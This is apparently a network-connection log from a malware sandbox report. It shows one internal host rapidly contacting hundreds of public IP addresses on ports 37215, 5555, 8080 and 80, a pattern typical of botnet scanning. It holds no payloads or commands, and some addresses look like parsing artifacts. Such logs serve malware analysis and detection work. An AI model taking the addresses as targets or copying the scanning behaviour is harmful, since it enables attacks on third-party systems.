Feb 12, 2023 21:25:05.178663969 CET	80	33524	52.51.46.49	192.168.2.23
Feb 12, 2023 21:25:05.178944111 CET	33524	80	192.168.2.23	52.51.46.49
Feb 12, 2023 21:25:05.180062056 CET	33524	80	192.168.2.23	52.51.46.49
Feb 12, 2023 21:25:05.220957041 CET	5555	22272	187.45.42.193	192.168.2.23
Feb 12, 2023 21:25:05.224220037 CET	80	33524	52.51.46.49	192.168.2.23
Feb 12, 2023 21:25:05.228724003 CET	80	33524	52.51.46.49	192.168.2.23
Feb 12, 2023 21:25:05.228755951 CET	80	33524	52.51.46.49	192.168.2.23
Feb 12, 2023 21:25:05.228943110 CET	33524	80	192.168.2.23	52.51.46.49
Feb 12, 2023 21:25:05.230910063 CET	36534	37215	192.168.2.23	197.194.138.33
Feb 12, 2023 21:25:05.250334024 CET	5555	22272	219.255.163.145	192.168.2.23
Feb 12, 2023 21:25:05.270941019 CET	33524	80	192.168.2.23	52.51.46.49
Feb 12, 2023 21:25:05.312566042 CET	52981	37215	192.168.2.23	157.212.194.251
Feb 12, 2023 21:25:05.312594891 CET	52981	37215	192.168.2.23	41.25.54.101
Feb 12, 2023 21:25:05.312607050 CET	52981	37215	192.168.2.23	197.191.130.26
Feb 12, 2023 21:25:05.312633038 CET	52981	37215	192.168.2.23	197.21.254.187
Feb 12, 2023 21:25:05.312634945 CET	52981	37215	192.168.2.23	197.207.51.93
Feb 12, 2023 21:25:05.312637091 CET	52981	37215	192.168.2.23	157.27.71.5
Feb 12, 2023 21:25:05.312634945 CET	52981	37215	192.168.2.23	41.183.24.243
Feb 12, 2023 21:25:05.312638998 CET	52981	37215	192.168.2.23	41.61.41.30
Feb 12, 2023 21:25:05.312642097 CET	52981	37215	192.168.2.23	197.79.17.46
Feb 12, 2023 21:25:05.312638998 CET	52981	37215	192.168.2.23	74.211.27.159
Feb 12, 2023 21:25:05.312668085 CET	52981	37215	192.168.2.23	174.146.245.169
Feb 12, 2023 21:25:05.312673092 CET	52981	37215	192.168.2.23	1.0.189.14
Feb 12, 2023 21:25:05.312673092 CET	52981	37215	192.168.2.23	197.237.173.144
Feb 12, 2023 21:25:05.312673092 CET	52981	37215	192.168.2.23	41.36.116.240
Feb 12, 2023 21:25:05.312675953 CET	52981	37215	192.168.2.23	77.165.64.52
Feb 12, 2023 21:25:05.312675953 CET	52981	37215	192.168.2.23	41.18.163.59
Feb 12, 2023 21:25:05.312684059 CET	52981	37215	192.168.2.23	157.237.137.90
Feb 12, 2023 21:25:05.312684059 CET	52981	37215	192.168.2.23	141.104.183.209
Feb 12, 2023 21:25:05.312688112 CET	52981	37215	192.168.2.23	13.140.117.254
Feb 12, 2023 21:25:05.312688112 CET	52981	37215	192.168.2.23	157.3.62.200
Feb 12, 2023 21:25:05.312688112 CET	52981	37215	192.168.2.23	88.220.253.200
Feb 12, 2023 21:25:05.312688112 CET	52981	37215	192.168.2.23	197.57.229.223
Feb 12, 2023 21:25:05.312694073 CET	52981	37215	192.168.2.23	197.240.246.120
Feb 12, 2023 21:25:05.312688112 CET	52981	37215	192.168.2.23	41.117.196.199
Feb 12, 2023 21:25:05.312694073 CET	52981	37215	192.168.2.23	197.212.134.19
Feb 12, 2023 21:25:05.312688112 CET	52981	37215	192.168.2.23	67.233.127.110
Feb 12, 2023 21:25:05.312699080 CET	52981	37215	192.168.2.23	41.90.130.163
Feb 12, 2023 21:25:05.312700033 CET	52981	37215	192.168.2.23	41.37.81.133
Feb 12, 2023 21:25:05.312699080 CET	52981	37215	192.168.2.23	41.137.252.77
Feb 12, 2023 21:25:05.312699080 CET	52981	37215	192.168.2.23	200.17.59.7
Feb 12, 2023 21:25:05.312700033 CET	52981	37215	192.168.2.23	157.177.243.86
Feb 12, 2023 21:25:05.312699080 CET	52981	37215	192.168.2.23	41.53.102.226
Feb 12, 2023 21:25:05.312700033 CET	52981	37215	192.168.2.23	157.224.119.215
Feb 12, 2023 21:25:05.312714100 CET	52981	37215	192.168.2.23	223.221.118.15
Feb 12, 2023 21:25:05.312714100 CET	52981	37215	192.168.2.23	197.109.190.119
Feb 12, 2023 21:25:05.312717915 CET	52981	37215	192.168.2.23	157.128.69.148
Feb 12, 2023 21:25:05.312717915 CET	52981	37215	192.168.2.23	157.178.203.83
Feb 12, 2023 21:25:05.312717915 CET	52981	37215	192.168.2.23	157.15.174.145
Feb 12, 2023 21:25:05.312751055 CET	52981	37215	192.168.2.23	157.80.23.79
Feb 12, 2023 21:25:05.312751055 CET	52981	37215	192.168.2.23	197.136.26.151
Feb 12, 2023 21:25:05.312751055 CET	52981	37215	192.168.2.23	157.183.205.238
Feb 12, 2023 21:25:05.312751055 CET	52981	37215	192.168.2.23	193.134.187.148
Feb 12, 2023 21:25:05.312762976 CET	52981	37215	192.168.2.23	197.56.154.50
Feb 12, 2023 21:25:05.312762976 CET	52981	37215	192.168.2.23	157.134.32.157
Feb 12, 2023 21:25:05.312771082 CET	52981	37215	192.168.2.23	157.204.245.24
Feb 12, 2023 21:25:05.312771082 CET	52981	37215	192.168.2.23	41.111.222.70
Feb 12, 2023 21:25:05.312771082 CET	52981	37215	192.168.2.23	197.183.13.179
Feb 12, 2023 21:25:05.312771082 CET	52981	37215	192.168.2.23	157.79.95.245
Feb 12, 2023 21:25:05.312771082 CET	52981	37215	192.168.2.23	116.41.185.32
Feb 12, 2023 21:25:05.312777042 CET	52981	37215	192.168.2.23	41.37.59.64
Feb 12, 2023 21:25:05.312777042 CET	52981	37215	192.168.2.23	197.250.48.198
Feb 12, 2023 21:25:05.312777042 CET	52981	37215	192.168.2.23	41.135.14.148
Feb 12, 2023 21:25:05.312778950 CET	52981	37215	192.168.2.23	23.7.98.59
Feb 12, 2023 21:25:05.312778950 CET	52981	37215	192.168.2.23	197.80.235.72
Feb 12, 2023 21:25:05.312779903 CET	52981	37215	192.168.2.23	157.75.27.134
Feb 12, 2023 21:25:05.312779903 CET	52981	37215	192.168.2.23	41.147.131.54
Feb 12, 2023 21:25:05.312788010 CET	52981	37215	192.168.2.23	197.246.78.20
Feb 12, 2023 21:25:05.312792063 CET	52981	37215	192.168.2.23	157.244.110.121
Feb 12, 2023 21:25:05.312796116 CET	52981	37215	192.168.2.23	197.40.87.244
Feb 12, 2023 21:25:05.312796116 CET	52981	37215	192.168.2.23	41.149.95.119
Feb 12, 2023 21:25:05.312798023 CET	52981	37215	192.168.2.23	41.105.72.50
Feb 12, 2023 21:25:05.312796116 CET	52981	37215	192.168.2.23	197.117.239.75
Feb 12, 2023 21:25:05.312798023 CET	52981	37215	192.168.2.23	41.133.160.26
Feb 12, 2023 21:25:05.312796116 CET	52981	37215	192.168.2.23	199.62.128.83
Feb 12, 2023 21:25:05.312796116 CET	52981	37215	192.168.2.23	197.135.27.205
Feb 12, 2023 21:25:05.312798023 CET	52981	37215	192.168.2.23	157.56.110.115
Feb 12, 2023 21:25:05.312796116 CET	52981	37215	192.168.2.23	197.167.138.162
Feb 12, 2023 21:25:05.312798023 CET	52981	37215	192.168.2.23	197.16.197.187
Feb 12, 2023 21:25:05.312796116 CET	52981	37215	192.168.2.23	157.52.132.252
Feb 12, 2023 21:25:05.312796116 CET	52981	37215	192.168.2.23	36.210.248.60
Feb 12, 2023 21:25:05.312813997 CET	52981	37215	192.168.2.23	197.29.161.1
Feb 12, 2023 21:25:05.312813997 CET	52981	37215	192.168.2.23	213.151.56.95
Feb 12, 2023 21:25:05.312818050 CET	52981	37215	192.168.2.23	197.141.7.0
Feb 12, 2023 21:25:05.312823057 CET	52981	37215	192.168.2.23	157.36.193.182
Feb 12, 2023 21:25:05.312828064 CET	52981	37215	192.168.2.23	197.80.168.186
Feb 12, 2023 21:25:05.312828064 CET	52981	37215	192.168.2.23	41.29.166.56
Feb 12, 2023 21:25:05.312828064 CET	52981	37215	192.168.2.23	45.118.192.62
Feb 12, 2023 21:25:05.312828064 CET	52981	37215	192.168.2.23	41.102.24.20
Feb 12, 2023 21:25:05.312828064 CET	52981	37215	192.168.2.23	41.7.230.162
Feb 12, 2023 21:25:05.312841892 CET	52981	37215	192.168.2.23	41.243.195.76
Feb 12, 2023 21:25:05.312844038 CET	52981	37215	192.168.2.23	157.228.172.28
Feb 12, 2023 21:25:05.312844038 CET	52981	37215	192.168.2.23	199.16.175.130
Feb 12, 2023 21:25:05.312844992 CET	52981	37215	192.168.2.23	24.195.204.53
Feb 12, 2023 21:25:05.312844992 CET	52981	37215	192.168.2.23	41.24.20.120
Feb 12, 2023 21:25:05.312849998 CET	52981	37215	192.168.2.23	197.200.180.146
Feb 12, 2023 21:25:05.312865973 CET	52981	37215	192.168.2.23	197.209.8.67
Feb 12, 2023 21:25:05.312881947 CET	52981	37215	192.168.2.23	31.129.172.138
Feb 12, 2023 21:25:05.312886953 CET	52981	37215	192.168.2.23	157.160.192.1
Feb 12, 2023 21:25:05.312886953 CET	52981	37215	192.168.2.23	197.114.9.240
Feb 12, 2023 21:25:05.312901020 CET	52981	37215	192.168.2.23	180.178.178.161
Feb 12, 2023 21:25:05.312901974 CET	52981	37215	192.168.2.23	24.240.186.190
Feb 12, 2023 21:25:05.312916994 CET	52981	37215	192.168.2.23	41.164.224.3
Feb 12, 2023 21:25:05.312916994 CET	52981	37215	192.168.2.23	157.237.169.14
Feb 12, 2023 21:25:05.312916994 CET	52981	37215	192.168.2.23	41.149.63.96
Feb 12, 2023 21:25:05.312916994 CET	52981	37215	192.168.2.23	41.177.56.194
Feb 12, 2023 21:25:05.312916994 CET	52981	37215	192.168.2.23	197.86.226.139
Feb 12, 2023 21:25:05.312916994 CET	52981	37215	192.168.2.23	41.4.86.138
Feb 12, 2023 21:25:05.312922955 CET	52981	37215	192.168.2.23	41.14.246.184
Feb 12, 2023 21:25:05.312916994 CET	52981	37215	192.168.2.23	41.50.26.131
Feb 12, 2023 21:25:05.312916994 CET	52981	37215	192.168.2.23	41.215.57.134
Feb 12, 2023 21:25:05.312926054 CET	52981	37215	192.168.2.23	151.225.8.220
Feb 12, 2023 21:25:05.312927008 CET	52981	37215	192.168.2.23	197.244.253.47
Feb 12, 2023 21:25:05.312932014 CET	52981	37215	192.168.2.23	157.50.35.224
Feb 12, 2023 21:25:05.312932014 CET	52981	37215	192.168.2.23	197.71.150.246
Feb 12, 2023 21:25:05.312932014 CET	52981	37215	192.168.2.23	157.179.241.145
Feb 12, 2023 21:25:05.312932014 CET	52981	37215	192.168.2.23	197.163.184.90
Feb 12, 2023 21:25:05.312932014 CET	52981	37215	192.168.2.23	41.221.114.192
Feb 12, 2023 21:25:05.312932014 CET	52981	37215	192.168.2.23	41.207.125.78
Feb 12, 2023 21:25:05.312932014 CET	52981	37215	192.168.2.23	41.81.167.157
Feb 12, 2023 21:25:05.312939882 CET	52981	37215	192.168.2.23	197.115.211.66
Feb 12, 2023 21:25:05.312941074 CET	52981	37215	192.168.2.23	157.239.155.216
Feb 12, 2023 21:25:05.312941074 CET	52981	37215	192.168.2.23	164.50.85.27
Feb 12, 2023 21:25:05.312946081 CET	52981	37215	192.168.2.23	197.220.230.17
Feb 12, 2023 21:25:05.312946081 CET	52981	37215	192.168.2.23	157.136.26.237
Feb 12, 2023 21:25:05.312946081 CET	52981	37215	192.168.2.23	157.106.199.160
Feb 12, 2023 21:25:05.312946081 CET	52981	37215	192.168.2.23	157.238.41.194
Feb 12, 2023 21:25:05.312946081 CET	52981	37215	192.168.2.23	157.228.249.126
Feb 12, 2023 21:25:05.312946081 CET	52981	37215	192.168.2.23	197.217.40.165
Feb 12, 2023 21:25:05.312946081 CET	52981	37215	192.168.2.23	197.63.38.98
Feb 12, 2023 21:25:05.312946081 CET	52981	37215	192.168.2.23	157.13.57.208
Feb 12, 2023 21:25:05.312963009 CET	52981	37215	192.168.2.23	197.193.96.216
Feb 12, 2023 21:25:05.312964916 CET	52981	37215	192.168.2.23	41.99.109.229
Feb 12, 2023 21:25:05.312966108 CET	52981	37215	192.168.2.23	41.100.76.129
Feb 12, 2023 21:25:05.312967062 CET	52981	37215	192.168.2.23	157.228.93.7
Feb 12, 2023 21:25:05.312968016 CET	52981	37215	192.168.2.23	120.127.65.147
Feb 12, 2023 21:25:05.312992096 CET	52981	37215	192.168.2.23	41.57.56.183
Feb 12, 2023 21:25:05.312992096 CET	52981	37215	192.168.2.23	197.162.71.81
Feb 12, 2023 21:25:05.312992096 CET	52981	37215	192.168.2.23	197.39.141.155
Feb 12, 2023 21:25:05.312995911 CET	52981	37215	192.168.2.23	41.233.87.19
Feb 12, 2023 21:25:05.312995911 CET	52981	37215	192.168.2.23	197.135.14.159
Feb 12, 2023 21:25:05.312995911 CET	52981	37215	192.168.2.23	41.119.236.111
Feb 12, 2023 21:25:05.312995911 CET	52981	37215	192.168.2.23	41.225.169.11
Feb 12, 2023 21:25:05.312998056 CET	52981	37215	192.168.2.23	93.161.125.31
Feb 12, 2023 21:25:05.313008070 CET	52981	37215	192.168.2.23	157.69.147.174
Feb 12, 2023 21:25:05.313009024 CET	52981	37215	192.168.2.23	140.136.177.79
Feb 12, 2023 21:25:05.313009024 CET	52981	37215	192.168.2.23	41.133.74.146
Feb 12, 2023 21:25:05.313009024 CET	52981	37215	192.168.2.23	157.140.78.219
Feb 12, 2023 21:25:05.313009024 CET	52981	37215	192.168.2.23	157.113.179.250
Feb 12, 2023 21:25:05.313023090 CET	52981	37215	192.168.2.23	61.113.201.107
Feb 12, 2023 21:25:05.313025951 CET	52981	37215	192.168.2.23	131.122.34.203
Feb 12, 2023 21:25:05.313025951 CET	52981	37215	192.168.2.23	157.236.174.225
Feb 12, 2023 21:25:05.313025951 CET	52981	37215	192.168.2.23	106.179.43.6
Feb 12, 2023 21:25:05.313029051 CET	52981	37215	192.168.2.23	157.23.71.164
Feb 12, 2023 21:25:05.313029051 CET	52981	37215	192.168.2.23	41.199.28.53
Feb 12, 2023 21:25:05.313029051 CET	52981	37215	192.168.2.23	41.191.169.81
Feb 12, 2023 21:25:05.313029051 CET	52981	37215	192.168.2.23	190.67.63.13
Feb 12, 2023 21:25:05.313035965 CET	52981	37215	192.168.2.23	157.172.125.235
Feb 12, 2023 21:25:05.313035965 CET	52981	37215	192.168.2.23	197.186.171.94
Feb 12, 2023 21:25:05.313035965 CET	52981	37215	192.168.2.23	157.166.20.44
Feb 12, 2023 21:25:05.313046932 CET	52981	37215	192.168.2.23	205.222.37.65
Feb 12, 2023 21:25:05.313049078 CET	52981	37215	192.168.2.23	92.5.99.207
Feb 12, 2023 21:25:05.313049078 CET	52981	37215	192.168.2.23	41.245.60.116
Feb 12, 2023 21:25:05.313057899 CET	52981	37215	192.168.2.23	182.114.133.134
Feb 12, 2023 21:25:05.313057899 CET	52981	37215	192.168.2.23	157.216.140.134
Feb 12, 2023 21:25:05.313057899 CET	52981	37215	192.168.2.23	157.37.185.120
Feb 12, 2023 21:25:05.313057899 CET	52981	37215	192.168.2.23	197.186.73.7
Feb 12, 2023 21:25:05.313057899 CET	52981	37215	192.168.2.23	197.103.47.108
Feb 12, 2023 21:25:05.313057899 CET	52981	37215	192.168.2.23	43.97.139.162
Feb 12, 2023 21:25:05.313066959 CET	52981	37215	192.168.2.23	41.112.210.148
Feb 12, 2023 21:25:05.313067913 CET	52981	37215	192.168.2.23	188.41.42.61
Feb 12, 2023 21:25:05.313067913 CET	52981	37215	192.168.2.23	151.5.199.84
Feb 12, 2023 21:25:05.313074112 CET	52981	37215	192.168.2.23	157.156.248.209
Feb 12, 2023 21:25:05.313074112 CET	52981	37215	192.168.2.23	41.132.102.92
Feb 12, 2023 21:25:05.313080072 CET	52981	37215	192.168.2.23	18.73.113.0
Feb 12, 2023 21:25:05.313080072 CET	52981	37215	192.168.2.23	41.116.188.95
Feb 12, 2023 21:25:05.313080072 CET	52981	37215	192.168.2.23	164.174.137.0
Feb 12, 2023 21:25:05.313080072 CET	52981	37215	192.168.2.23	157.34.218.34
Feb 12, 2023 21:25:05.313083887 CET	52981	37215	192.168.2.23	197.114.128.247
Feb 12, 2023 21:25:05.313083887 CET	52981	37215	192.168.2.23	157.109.157.222
Feb 12, 2023 21:25:05.313083887 CET	52981	37215	192.168.2.23	157.205.140.67
Feb 12, 2023 21:25:05.313093901 CET	52981	37215	192.168.2.23	51.11.82.148
Feb 12, 2023 21:25:05.313101053 CET	52981	37215	192.168.2.23	41.166.243.86
Feb 12, 2023 21:25:05.313106060 CET	52981	37215	192.168.2.23	197.196.108.7
Feb 12, 2023 21:25:05.313106060 CET	52981	37215	192.168.2.23	75.123.164.205
Feb 12, 2023 21:25:05.313114882 CET	52981	37215	192.168.2.23	197.92.34.120
Feb 12, 2023 21:25:05.313127041 CET	52981	37215	192.168.2.23	95.197.168.163
Feb 12, 2023 21:25:05.313127041 CET	52981	37215	192.168.2.23	157.133.139.12
Feb 12, 2023 21:25:05.313127995 CET	52981	37215	192.168.2.23	45.42.122.15
Feb 12, 2023 21:25:05.313127041 CET	52981	37215	192.168.2.23	207.153.78.23
Feb 12, 2023 21:25:05.313127995 CET	52981	37215	192.168.2.23	174.214.10.128
Feb 12, 2023 21:25:05.313127995 CET	52981	37215	192.168.2.23	173.12.49.21
Feb 12, 2023 21:25:05.313133001 CET	52981	37215	192.168.2.23	175.27.18.1
Feb 12, 2023 21:25:05.313133001 CET	52981	37215	192.168.2.23	187.114.231.204
Feb 12, 2023 21:25:05.313148975 CET	52981	37215	192.168.2.23	157.116.80.43
Feb 12, 2023 21:25:05.313148975 CET	52981	37215	192.168.2.23	41.151.227.226
Feb 12, 2023 21:25:05.313153028 CET	52981	37215	192.168.2.23	157.29.128.129
Feb 12, 2023 21:25:05.313153028 CET	52981	37215	192.168.2.23	197.192.185.65
Feb 12, 2023 21:25:05.313154936 CET	52981	37215	192.168.2.23	197.143.4.160
Feb 12, 2023 21:25:05.313174009 CET	52981	37215	192.168.2.23	157.188.82.71
Feb 12, 2023 21:25:05.313179970 CET	52981	37215	192.168.2.23	41.89.75.21
Feb 12, 2023 21:25:05.313174009 CET	52981	37215	192.168.2.23	157.144.54.255
Feb 12, 2023 21:25:05.313179970 CET	52981	37215	192.168.2.23	62.163.139.15
Feb 12, 2023 21:25:05.313184023 CET	52981	37215	192.168.2.23	41.94.133.75
Feb 12, 2023 21:25:05.313184977 CET	52981	37215	192.168.2.23	41.244.40.243
Feb 12, 2023 21:25:05.313189030 CET	52981	37215	192.168.2.23	41.249.90.250
Feb 12, 2023 21:25:05.313189983 CET	52981	37215	192.168.2.23	41.59.15.141
Feb 12, 2023 21:25:05.313189983 CET	52981	37215	192.168.2.23	71.32.140.30
Feb 12, 2023 21:25:05.313194036 CET	52981	37215	192.168.2.23	41.164.169.202
Feb 12, 2023 21:25:05.313195944 CET	52981	37215	192.168.2.23	41.212.177.131
Feb 12, 2023 21:25:05.313195944 CET	52981	37215	192.168.2.23	197.103.93.250
Feb 12, 2023 21:25:05.313214064 CET	52981	37215	192.168.2.23	197.148.239.238
Feb 12, 2023 21:25:05.313214064 CET	52981	37215	192.168.2.23	41.145.108.165
Feb 12, 2023 21:25:05.313216925 CET	52981	37215	192.168.2.23	157.92.138.189
Feb 12, 2023 21:25:05.313218117 CET	52981	37215	192.168.2.23	31.6.82.251
Feb 12, 2023 21:25:05.313219070 CET	52981	37215	192.168.2.23	157.166.20.202
Feb 12, 2023 21:25:05.313221931 CET	52981	37215	192.168.2.23	41.136.116.138
Feb 12, 2023 21:25:05.313221931 CET	52981	37215	192.168.2.23	142.34.54.61
Feb 12, 2023 21:25:05.313222885 CET	52981	37215	192.168.2.23	157.55.66.145
Feb 12, 2023 21:25:05.313239098 CET	52981	37215	192.168.2.23	41.67.159.52
Feb 12, 2023 21:25:05.313239098 CET	52981	37215	192.168.2.23	157.132.13.187
Feb 12, 2023 21:25:05.313252926 CET	52981	37215	192.168.2.23	181.177.133.217
Feb 12, 2023 21:25:05.313256979 CET	52981	37215	192.168.2.23	157.190.211.165
Feb 12, 2023 21:25:05.313256979 CET	52981	37215	192.168.2.23	41.142.114.194
Feb 12, 2023 21:25:05.313260078 CET	52981	37215	192.168.2.23	41.42.247.196
Feb 12, 2023 21:25:05.313261032 CET	52981	37215	192.168.2.23	157.174.42.103
Feb 12, 2023 21:25:05.313261986 CET	52981	37215	192.168.2.23	157.210.6.42
Feb 12, 2023 21:25:05.313260078 CET	52981	37215	192.168.2.23	157.79.29.119
Feb 12, 2023 21:25:05.313261032 CET	52981	37215	192.168.2.23	197.130.83.125
Feb 12, 2023 21:25:05.313265085 CET	52981	37215	192.168.2.23	197.16.216.190
Feb 12, 2023 21:25:05.313265085 CET	52981	37215	192.168.2.23	41.98.103.97
Feb 12, 2023 21:25:05.313265085 CET	52981	37215	192.168.2.23	197.73.91.199
Feb 12, 2023 21:25:05.313265085 CET	52981	37215	192.168.2.23	183.104.184.227
Feb 12, 2023 21:25:05.313265085 CET	52981	37215	192.168.2.23	157.173.186.147
Feb 12, 2023 21:25:05.313265085 CET	52981	37215	192.168.2.23	157.244.54.184
Feb 12, 2023 21:25:05.313281059 CET	52981	37215	192.168.2.23	41.118.242.78
Feb 12, 2023 21:25:05.313281059 CET	52981	37215	192.168.2.23	157.74.228.126
Feb 12, 2023 21:25:05.313281059 CET	52981	37215	192.168.2.23	59.84.155.50
Feb 12, 2023 21:25:05.313285112 CET	52981	37215	192.168.2.23	41.129.71.222
Feb 12, 2023 21:25:05.313286066 CET	52981	37215	192.168.2.23	197.78.14.198
Feb 12, 2023 21:25:05.313291073 CET	52981	37215	192.168.2.23	77.103.139.4
Feb 12, 2023 21:25:05.313292027 CET	52981	37215	192.168.2.23	157.62.6.61
Feb 12, 2023 21:25:05.313296080 CET	52981	37215	192.168.2.23	157.214.163.51
Feb 12, 2023 21:25:05.313296080 CET	52981	37215	192.168.2.23	157.236.151.170
Feb 12, 2023 21:25:05.313296080 CET	52981	37215	192.168.2.23	41.221.229.56
Feb 12, 2023 21:25:05.313303947 CET	52981	37215	192.168.2.23	163.85.216.166
Feb 12, 2023 21:25:05.313318014 CET	52981	37215	192.168.2.23	12.106.87.39
Feb 12, 2023 21:25:05.313318014 CET	52981	37215	192.168.2.23	157.255.25.5
Feb 12, 2023 21:25:05.313318014 CET	52981	37215	192.168.2.23	186.58.183.217
Feb 12, 2023 21:25:05.313319921 CET	52981	37215	192.168.2.23	157.164.200.216
Feb 12, 2023 21:25:05.313323021 CET	52981	37215	192.168.2.23	41.183.232.7
Feb 12, 2023 21:25:05.313327074 CET	52981	37215	192.168.2.23	61.11.255.247
Feb 12, 2023 21:25:05.313327074 CET	52981	37215	192.168.2.23	41.31.212.67
Feb 12, 2023 21:25:05.313327074 CET	52981	37215	192.168.2.23	166.204.241.54
Feb 12, 2023 21:25:05.313327074 CET	52981	37215	192.168.2.23	157.119.79.14
Feb 12, 2023 21:25:05.313328981 CET	52981	37215	192.168.2.23	218.139.250.47
Feb 12, 2023 21:25:05.313328981 CET	52981	37215	192.168.2.23	197.136.45.194
Feb 12, 2023 21:25:05.313328981 CET	52981	37215	192.168.2.23	157.3.155.169
Feb 12, 2023 21:25:05.313335896 CET	52981	37215	192.168.2.23	41.37.199.114
Feb 12, 2023 21:25:05.313344955 CET	52981	37215	192.168.2.23	5.239.133.146
Feb 12, 2023 21:25:05.313348055 CET	52981	37215	192.168.2.23	158.185.234.71
Feb 12, 2023 21:25:05.313352108 CET	52981	37215	192.168.2.23	157.242.169.107
Feb 12, 2023 21:25:05.313359022 CET	52981	37215	192.168.2.23	157.72.143.29
Feb 12, 2023 21:25:05.313359022 CET	52981	37215	192.168.2.23	197.2.166.222
Feb 12, 2023 21:25:05.313359022 CET	52981	37215	192.168.2.23	157.101.126.12
Feb 12, 2023 21:25:05.313359022 CET	52981	37215	192.168.2.23	196.165.105.97
Feb 12, 2023 21:25:05.313373089 CET	52981	37215	192.168.2.23	157.58.220.34
Feb 12, 2023 21:25:05.313412905 CET	50072	37215	192.168.2.23	197.195.75.157
Feb 12, 2023 21:25:05.343027115 CET	37215	52981	77.165.64.52	192.168.2.23
Feb 12, 2023 21:25:05.358959913 CET	58866	37215	192.168.2.23	50.50.57.46
Feb 12, 2023 21:25:05.358971119 CET	56480	5555	192.168.2.23	50.50.48.46
Feb 12, 2023 21:25:05.358985901 CET	39938	37215	192.168.2.23	49.48.57.46
Feb 12, 2023 21:25:05.358988047 CET	55428	37215	192.168.2.23	49.51.56.46
Feb 12, 2023 21:25:05.358989954 CET	45276	37215	192.168.2.23	54.56.46.49
Feb 12, 2023 21:25:05.358989954 CET	55084	37215	192.168.2.23	52.51.46.49
Feb 12, 2023 21:25:05.381139994 CET	33524	80	192.168.2.23	52.51.46.49
Feb 12, 2023 21:25:05.382272959 CET	37215	50072	197.195.75.157	192.168.2.23
Feb 12, 2023 21:25:05.382389069 CET	50072	37215	192.168.2.23	197.195.75.157
Feb 12, 2023 21:25:05.383017063 CET	50072	37215	192.168.2.23	197.195.75.157
Feb 12, 2023 21:25:05.383032084 CET	50072	37215	192.168.2.23	197.195.75.157
Feb 12, 2023 21:25:05.385397911 CET	37215	52981	213.151.56.95	192.168.2.23
Feb 12, 2023 21:25:05.385485888 CET	52981	37215	192.168.2.23	213.151.56.95
Feb 12, 2023 21:25:05.419306040 CET	56378	8080	192.168.2.23	53.54.46.57
Feb 12, 2023 21:25:05.419828892 CET	37215	52981	197.213.118.37	192.168.2.23
Feb 12, 2023 21:25:05.428586006 CET	43532	8080	192.168.2.23	49.52.54.46
Feb 12, 2023 21:25:05.440824032 CET	60526	8080	192.168.2.23	49.55.52.46
Feb 12, 2023 21:25:05.456655979 CET	36580	8080	192.168.2.23	53.54.46.52
Feb 12, 2023 21:25:05.464395046 CET	54488	8080	192.168.2.23	51.53.46.50
Feb 12, 2023 21:25:05.465751886 CET	35106	8080	192.168.2.23	55.56.46.51
Feb 12, 2023 21:25:05.467238903 CET	50520	8080	192.168.2.23	50.48.51.46
Feb 12, 2023 21:25:05.468983889 CET	54914	8080	192.168.2.23	52.57.46.49
Feb 12, 2023 21:25:05.470280886 CET	41382	8080	192.168.2.23	53.57.46.50
Feb 12, 2023 21:25:05.471828938 CET	58258	8080	192.168.2.23	50.48.46.50
Feb 12, 2023 21:25:05.483711004 CET	37215	52981	1.0.189.14	192.168.2.23
Feb 12, 2023 21:25:05.486906052 CET	55332	8080	192.168.2.23	49.56.55.46
Feb 12, 2023 21:25:05.486984015 CET	55326	8080	192.168.2.23	49.56.55.46
Feb 12, 2023 21:25:05.486988068 CET	56084	8080	192.168.2.23	49.56.57.46
Feb 12, 2023 21:25:05.487025023 CET	55322	8080	192.168.2.23	49.56.55.46
Feb 12, 2023 21:25:05.487051010 CET	55324	8080	192.168.2.23	49.56.55.46
Feb 12, 2023 21:25:05.487051010 CET	56082	8080	192.168.2.23	49.56.57.46
Feb 12, 2023 21:25:05.491219044 CET	37215	52981	12.106.87.39	192.168.2.23
Feb 12, 2023 21:25:05.570410967 CET	37215	52981	183.104.184.227	192.168.2.23
Feb 12, 2023 21:25:05.646949053 CET	46910	5555	192.168.2.23	49.56.57.46
Feb 12, 2023 21:25:05.678914070 CET	50072	37215	192.168.2.23	197.195.75.157
Feb 12, 2023 21:25:05.678916931 CET	45354	7574	192.168.2.23	49.56.57.46
Feb 12, 2023 21:25:05.777673006 CET	50610	37215	192.168.2.23	49.48.55.46
Feb 12, 2023 21:25:05.793698072 CET	50052	37215	192.168.2.23	49.57.51.46
Feb 12, 2023 21:25:05.806888103 CET	51816	80	192.168.2.23	54.50.46.51
Feb 12, 2023 21:25:05.806894064 CET	39778	80	192.168.2.23	55.56.46.50
Feb 12, 2023 21:25:05.806910038 CET	55664	80	192.168.2.23	51.55.46.49
Feb 12, 2023 21:25:05.806910038 CET	36066	80	192.168.2.23	56.56.46.50
Feb 12, 2023 21:25:05.806910038 CET	34646	80	192.168.2.23	53.46.51.53
Feb 12, 2023 21:25:05.819534063 CET	50908	37215	192.168.2.23	49.52.49.46
Feb 12, 2023 21:25:05.829416990 CET	45484	37215	192.168.2.23	50.48.54.46
Feb 12, 2023 21:25:05.835519075 CET	36828	37215	192.168.2.23	49.49.46.49
Feb 12, 2023 21:25:05.972018003 CET	43308	80	192.168.2.23	49.56.57.46
Feb 12, 2023 21:25:05.976841927 CET	22272	5555	192.168.2.23	146.34.142.189
Feb 12, 2023 21:25:05.976857901 CET	22272	5555	192.168.2.23	196.50.82.120
Feb 12, 2023 21:25:05.976857901 CET	22272	5555	192.168.2.23	116.126.172.156
Feb 12, 2023 21:25:05.976871967 CET	22272	5555	192.168.2.23	133.77.173.224
Feb 12, 2023 21:25:05.976871014 CET	22272	5555	192.168.2.23	19.121.64.130
Feb 12, 2023 21:25:05.976871967 CET	22272	5555	192.168.2.23	156.228.118.176
Feb 12, 2023 21:25:05.976874113 CET	22272	5555	192.168.2.23	4.7.0.250
Feb 12, 2023 21:25:05.976905107 CET	22272	5555	192.168.2.23	168.51.214.51
Feb 12, 2023 21:25:05.976905107 CET	22272	5555	192.168.2.23	165.255.249.132
Feb 12, 2023 21:25:05.976910114 CET	22272	5555	192.168.2.23	123.105.232.169
Feb 12, 2023 21:25:05.976917028 CET	22272	5555	192.168.2.23	145.48.46.249
Feb 12, 2023 21:25:05.976924896 CET	22272	5555	192.168.2.23	221.1.115.156
Feb 12, 2023 21:25:05.976924896 CET	22272	5555	192.168.2.23	185.189.121.49
Feb 12, 2023 21:25:05.976927996 CET	22272	5555	192.168.2.23	118.84.23.147
Feb 12, 2023 21:25:05.976942062 CET	22272	5555	192.168.2.23	216.206.194.49
Feb 12, 2023 21:25:05.976942062 CET	22272	5555	192.168.2.23	169.36.93.230
Feb 12, 2023 21:25:05.976943016 CET	22272	5555	192.168.2.23	50.177.56.149
